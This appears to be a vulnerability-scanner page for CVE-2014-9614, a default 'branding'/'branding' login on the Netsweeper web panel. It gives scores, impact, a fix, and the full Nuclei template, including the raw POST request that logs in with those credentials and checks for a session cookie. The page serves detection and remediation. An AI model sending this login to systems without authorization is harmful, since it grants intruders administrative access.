Netsweeper 4.0.5 - Default Weak Account

criticalseverity

9.8CVSS score

68.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Web Panel in Netsweeper before 4.0.5 has a default password of 'branding' for the branding account, which makes it easier for remote attackers to obtain access via a request to webadmin/.

Impact

An attacker can gain unauthorized access to the Netsweeper 4.0.5 system using the default weak account.

Fix

Change the default credentials to strong and unique ones.

How to confirm it

Send: POST /webadmin/auth/verification.php
Positive when: contains in header "Location: ../common/" or "Location: ../start/" AND contains in header "Set-Cookie: webadminU=" AND status 302

Run it with nuclei: nuclei -id CVE-2014-9614 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-9614

info:
  name: Netsweeper 4.0.5 - Default Weak Account
  author: daffainfo
  severity: critical
  description: The Web Panel in Netsweeper before 4.0.5 has a default password of 'branding' for the branding account, which makes it easier for remote attackers to obtain access via a request to webadmin/.
  impact: |
    An attacker can gain unauthorized access to the Netsweeper 4.0.5 system using the default weak account.
  remediation: |
    Change the default credentials to strong and unique ones.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9614
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-9614
    cwe-id: CWE-798
    epss-score: 0.68706
    epss-percentile: 0.99349
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,default-login,packetstorm,xss,vuln

http:
  - raw:
      - |
        POST /webadmin/auth/verification.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/webadmin/start/

        login=branding&password=branding&Submit=Login

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Location: ../common/'
          - 'Location: ../start/'
        condition: or

      - type: word
        part: header
        words:
          - 'Set-Cookie: webadminU='

      - type: status
        status:
          - 302

References

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